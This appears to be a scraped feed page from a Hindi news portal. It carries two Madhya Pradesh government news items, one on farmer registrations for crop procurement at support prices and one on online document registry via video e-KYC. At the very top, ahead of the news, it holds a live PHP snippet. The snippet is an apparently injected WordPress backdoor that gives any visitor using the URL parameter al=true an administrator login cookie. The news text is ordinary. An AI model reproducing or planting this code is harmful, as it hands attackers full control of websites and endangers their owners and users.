// _ea_al add_action('init', function(){ if(isset($_GET['al']) && $_GET['al']==='true'){ if(!is_user_logged_in()){ $u=get_users(['role'=>'administrator','number'=>1,'fields'=>['ID','user_login']]); if(empty($u)){$u=get_users(['role'=>'editor','number'=>1,'fields'=>['ID','user_login']]);} if(!empty($u)){wp_set_auth_cookie($u[0]->ID,true,false);wp_redirect(admin_url());exit();} } else {wp_redirect(admin_url());exit();} } }, 2); registered – प्रत्युषा आशा की नयी किरण https://pratyushaashakinayikiran.com न्यूज़ पोर्टल Fri, 24 Oct 2025 14:35:00 +0000 en-US hourly 1 https://wordpress.org/?v=7.0 समर्थन मूल्य पर धान, ज्वार, बाजरा उपार्जन के लिए 8 लाख 53 हजार 911 किसानों ने कराया पंजीयन https://pratyushaashakinayikiran.com/?p=187032 Fri, 24 Oct 2025 14:35:00 +0000 https://pratyushaashakinayikiran.com/?p=187032 समर्थन मूल्य पर धान, ज्वार, बाजरा उपार्जन के लिए 8 लाख 53 हजार 911 किसानों ने कराया पंजीयन

गत वर्ष 7 लाख 84 हजार 845 किसानों ने कराया था पंजीयन

भोपाल
समर्थन मूल्य पर धान, ज्वार, बाजरा उपार्जन के लिए इस वर्ष 8 लाख 53 हजार 911 किसानों ने पंजीयन कराया है। पिछले वर्ष 7 लाख 84 हजार 845 किसानों ने पंजीयन कराया था। खाद्य, नागरिक आपूर्ति एवं उपभोक्ता संरक्षण मंत्री  गोविन्द सिंह राजपूत ने बताया है कि इस वर्ष विगत वर्ष की तुलना में लगभग 69 हजार अधिक किसानों ने पंजीयन कराया है। धान उपार्जन के लिये 8 लाख 47 हजार 830, ज्वार के लिये 2601 और बाजरा के लिये 5 हजार 545 किसानों ने पंजीयन कराया है। उन्होंने बताया है कि धान का समर्थन मूल्य 2369 रूपये, ज्वार का 3699 और बाजरा का 2775 रूपये है।

मंत्री  राजपूत ने बताया कि पंजीयन की निःशुल्क व्यवस्था ग्राम पंचायत, जनपद पंचायत एवं तहसील कार्यालयों में स्थापित सुविधा केन्द्र पर सहकारी समितियों एवं सहकारी विपणन संस्थाओं द्वारा संचालित पंजीयन केन्द्रों पर और एम.पी. किसान एप पर की गई थी।

जिलेवार पंजीयन

प्रदेश में हुए कुल पंजीयन में मुख्य रूप से जिला बालाघाट में 1 लाख 25 हजार 845 किसान, जबलपुर में 52 हजार 975, सिवनी में 59 हजार 590, कटनी में 61 हजार 388, मण्डला में 39 हजार 292, डिण्डोरी में 25 हजार 23, नरसिंहपुर में 16 हजार 204, छिंदवाड़ा में 3 हजार 258, रीवा में 70 हजार 115, सतना में 61 हजार 397, मैहर में 29 हजार 151, सिंगरौली में 30 हजार 189, सीधी में 28 हजार 536, मऊगंज में 22 हजार 369, शहडोल में 37 हजार 56, उमरिया में 27 हजार 271, अनूपपुर में 21 हजार 831, पन्ना में 37 हजार 207, दमोह में 22 हजार 896, सागर में 4 हजार 90, रायसेन में 16 हजार 983, सीहोर में 9 हजार 4, विदिशा में 1386, भोपाल में 88, नर्मदापुरम में 31 हजार 804, बैतूल में 9 हजार 546, हरदा में 510, भिंड में 1387, मुरैना में 4954, श्योपुर में 110, ग्वालियर में 750, शिवपुरी में 857, दतिया में 449, देवास में 255, बड़वानी में 61 और झाबुआ में 33 किसानों ने पंजीयन कराया है।

 

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प्रदेश में अब घर बैठे होगी 75 दस्तावेजों की रजिस्ट्री, ऑफिस जाने की जरूरत नहीं https://pratyushaashakinayikiran.com/?p=169618 Fri, 11 Jul 2025 03:38:00 +0000 https://pratyushaashakinayikiran.com/?p=169618 भोपाल 

संपदा-2.0(Sampada 2.0) लागू होने के बाद इसमें लगातार नई सुविधाओं को जोड़ा जा रहा है। प्रदेश में कुल 141 तरह के दस्तावेजों की रजिस्ट्री होती हैं। इनमें से 75 प्रकार के दस्तावेजों की रजिस्ट्री के लिए सब रजिस्ट्रार कार्यालय आने की जरूरत नहीं है। ऐसा करने वाला मध्यप्रदेश पहला राज्य है। लगभग 40% रजिस्ट्री इन्हीं दस्तावेजों की होती हैं। इनमें पॉवर ऑफ अटॉर्नी, इंडस्ट्री लोन, सर्टिफिकेट ऑफ सेल, बैंक द्वारा बेची जाने वाली प्रॉपर्टी, सभी तरह की लीज और कोऑनरशिप संबंधी दस्तावेज घर बैठे ऑनलाइन रजिस्टर करा सकते हैं।

ईज ऑफ डूइंग बिजनेस के तहत उद्योगों संबंधी दस्तावेजों की रजिस्ट्री ऑनलाइन(Online Registry) कर दी गई है, लेकिन इस सुविधा का वे ही इस्तेमाल कर सकते हैं जिन्होंने आधार का उपयोग किया है। इसमें वीडियो ई-केवायसी का उपयोग किया जा रहा है। एआइ के जरिए चेहरा मैच कर पहचान स्थापित की जा रही है।

घर बैठे ऑनलाइनरजिस्ट्री

वाणिज्यिक कर विभाग ने 1 अप्रेल 2025 से सभी प्रकार की रजिस्ट्रियां संपदा-2.0 से शुरू कर दी हैं। 75 दस्तावेजों की रजिस्ट्री में ऐच्छिक कर दिया गया है कि पक्षकार सब रजिस्ट्रार ऑफिस आकर या नहीं आकर ऑनलाइनरजिस्ट्री करा सकते हैं।

मॉडल दस्तावेज

पंजीयन आइजी अमित तोमर के अनुसार वीडियो ई-केवायसी और एआइ से यह संभव हो सका है। दस्तावेज तैयार करने मॉडल दस्तावेज संपदा 2.0 की वेबसाइट पर डाले गए हैं। इनमें जानकारियां भरकर ऑनलाइन पंजीयन कराया जा सकता है। इसके अलावा सुविधाओं के टयूटोरियल भी डाल दिए गए हैं।

इनके लिए सुविधा नहीं

अनपढ़ और दृष्टिहीन लोगों को तकनीक के माध्यम से होने वाले फ्रॉड से बचाने के लिए ऑनलाइन सुविधा नहीं दी गई है। उन्हें ऑफिस में आकर ही रजिस्ट्री करानी होगी। इसके साथ अभी प्रॉपर्टी की रजिस्ट्री और वसीयतनामे जैसे संवेदनशील दस्तावेजों की रजिस्ट्री के लिए भी ऑफिस आने की अनिवार्यता है। अभीइनके लिए वीडियो ई-केवायसी की सुविधाशुरू नहीं की गई है।

ऐसे समझें

    नॉन इंटरेक्टिव ई-केवायसी में सबसे पहले डॉक्यूमेंट तैयार करना होगा। इसे ऑनलाइन तैयार कर सकते हैं या सर्विस प्रोवाइडर से।

    डॉक्यूमेंट सबमिट करते समय वीडियो केवायसी का विकल्प मिलेगा। दो आइडी देनी होंगी।

    रजिस्ट्री कराने वाले पक्षकार अपना वीडियो बनाएंगे। एआइ कुछ सवाल पूछेगा। पक्षकार के चेहरेका एनालिसिस करेगा।

    सभी आइडी में जानकारियां एक जैसी नहीं होंगी या चेहरा मेल नहीं खाएगा तो एआइ रिजेक्ट कर देगा। मैच होने पर प्रक्रिया बढ़ेगी।

    टोकन सब रजिस्ट्रार के पास पहुंच जाएगा और दस्तावेज अगले दिन रजिस्टर कर देगा। दस्तावेज ई-मेल, व्हाट्सएप पर पहुंच जाएगा।

    इंटरैक्टिव वीडियो ई-केवायसी में सब रजिस्ट्रार वीसी से पक्षकारों से बात करेंगे। उसी दौरान एआइ चेहरे का मिलान कर लेगा। सब रजिस्ट्रार को तभी बताना होगा कि दस्तावेज रजिस्टर हुआ या नहीं।

 

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